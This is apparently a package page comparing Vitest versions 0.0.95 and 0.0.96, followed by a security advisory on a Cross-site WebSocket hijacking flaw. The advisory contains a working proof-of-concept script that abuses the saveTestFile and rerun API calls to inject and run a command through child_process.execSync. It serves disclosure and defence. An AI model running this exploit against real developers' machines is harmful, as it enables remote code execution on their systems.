Vitest is a rapidly evolving unit testing framework powered by Vite, designed to provide developers with a blazing fast testing experience. Comparing versions 0.0.95 and 0.0.96, reveals subtle but potentially impactful changes for developers. Both versions share the same core dependencies like Chai, tinyspy, tinypool and fast-glob, ensuring consistent assertion capabilities and efficient test execution. Development dependencies, crucial for building and maintaining the library, also remain largely the same, encompassing tools for code coverage (c8), command-line interface creation (cac), and DOM manipulation (jsdom and happy-dom). The peer dependencies also are identical, requiring c8, vite, jsdom and happy-dom.
The key distinction lies in the release date, where version 0.0.96 was published shortly after 0.0.95. The unpacked size increased negligibly from 868662 to 868664. This suggests a minor update, possibly addressing bug fixes, performance enhancements, or internal refactoring rather than a major feature addition. For developers utilizing Vitest, this iterative approach signifies a commitment to stability and continuous improvement. While the changes might not be immediately apparent, staying up-to-date with the latest version ensures access to the most refined and reliable testing environment, minimizing potential issues and maximizing testing efficiency. For developers considering adopting Vitest, these frequent releases demonstrate an active project with a focus on providing a robust and performant testing solution.
All the vulnerabilities related to the version 0.0.96 of the package
Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
When api
option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
This WebSocket server has saveTestFile
API that can edit a test file and rerun
API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile
API and then running that file by calling the rerun
API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
calc
executable in PATH
env var (you'll likely have it if you are running on Windows), that application will be executed.// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
This vulnerability can result in remote code execution for users that are using Vitest serve API.